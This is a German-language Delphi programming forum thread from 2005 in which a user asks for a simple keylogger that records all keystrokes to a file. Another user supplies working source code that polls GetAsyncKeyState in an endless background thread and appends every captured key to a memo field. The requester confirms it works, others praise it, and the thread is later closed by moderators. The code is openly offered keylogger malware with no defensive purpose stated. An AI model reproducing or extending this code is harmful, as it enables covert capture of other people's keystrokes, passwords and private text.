Für eine Keylogger willst Du lieber GerKeyboardState (oder wie die Funktion auch heißt) nehmen? Na dann viel Glück das Du auch wirklich alle Tastendrücke aufgezeichnet bekommst. ;-)
F34r0fTh3D4rk
ontopic starontopic starontopic starontopic starontopic starontopic starhalf ontopic starofftopic star
Beiträge: 5284
Erhaltene Danke: 27

Win Vista (32), Win 7 (64)
Eclipse, SciTE, Lazarus
BeitragVerfasst: Do 10.02.05 16:51 
will ich nicht, uall@ogc hat das gesagt, wie mach ich das denn am besten, gaaaanz simpler keylogger, der einfach nur alles in eine datei schreibt, also die keyupmessages am besten


ich habs ja jetzt nunmal mit hooks gemacht, damit bin ich auch zufrieden, mit nem timer ist das zu unelegant gelöst, nur die textformation brauche ich noch :roll:


Zuletzt bearbeitet von F34r0fTh3D4rk am Do 10.02.05 16:53, insgesamt 1-mal bearbeitet
uall@ogc
ontopic starontopic starontopic starontopic starontopic starontopic starontopic starofftopic star
Beiträge: 1826
Erhaltene Danke: 11

Win 2000 & VMware
Delphi 3 Prof, Delphi 7 Prof
BeitragVerfasst: Do 10.02.05 16:53 
ausblenden Delphi-Quelltext
1:
2:
3:
4:
5:
6:
7:
8:
9:
10:
11:
12:
13:
14:
15:
16:
17:
18:
procedure keylogger;
var i: integer;
begin
  while true do
  begin
    for i := 10 to 200 do
      if boolean(getasynckeystate(i)) then
        form1.memo1.lines.Text :=
        form1.Memo1.lines.Text + char(i);
    sleep(10);
  end;
end;

procedure TForm1.FormCreate(Sender: TObject);
var tid: cardinal;
begin
  createthread(0,0,@keylogger,nil,0,tid);
end;

das mal ne ganz einfache möglichkeit aber als ansatz schon ganz ok
F34r0fTh3D4rk
ontopic starontopic starontopic starontopic starontopic starontopic starhalf ontopic starofftopic star
Beiträge: 5284
Erhaltene Danke: 27

Win Vista (32), Win 7 (64)
Eclipse, SciTE, Lazarus
BeitragVerfasst: Do 10.02.05 16:55 
er erkennt tid net, was ist das ?
uall@ogc
ontopic starontopic starontopic starontopic starontopic starontopic starontopic starofftopic star
Beiträge: 1826
Erhaltene Danke: 11

Win 2000 & VMware
Delphi 3 Prof, Delphi 7 Prof
BeitragVerfasst: Do 10.02.05 17:00 
schau dir doch erstmal den quelltext an bevor du immer glecih was schreibst, das echt schlimm
was ist wohl TID ? denk mal ganz scharf nach und schau mal in den quelltext von mir
F34r0fTh3D4rk
ontopic starontopic starontopic starontopic starontopic starontopic starhalf ontopic starofftopic star
Beiträge: 5284
Erhaltene Danke: 27

Win Vista (32), Win 7 (64)
Eclipse, SciTE, Lazarus
BeitragVerfasst: Do 10.02.05 17:07 
oh... oh .... OHHHH :oops: , wie dumm von mir, hab vergessen das als variable bei form1.create einzutragen, hab mich schon gewundert :roll:


der code funktioniert anähernd perfekt, genau das was ich brauche, danke !


Zuletzt bearbeitet von F34r0fTh3D4rk am Do 10.02.05 17:08, insgesamt 1-mal bearbeitet
retnyg
ontopic starontopic starontopic starontopic starontopic starontopic starontopic starofftopic star
Beiträge: 2754

SNES, GB, GBA, CPC, A500, 486/66, P4/3.0HT: NintendOS, AmigaOS, DoS
Delphi 5, Delphi 7
BeitragVerfasst: Do 10.02.05 17:07 
wow der keylogger code is genial, danke uall.
das createthread is auch ne super sache
Dieses Thema ist gesperrt, Du kannst keine Beiträge editieren oder beantworten.

Das Thema wurde von einem Team-Mitglied geschlossen. Wenn du mit der Schließung des Themas nicht einverstanden bist, kontaktiere bitte das Team.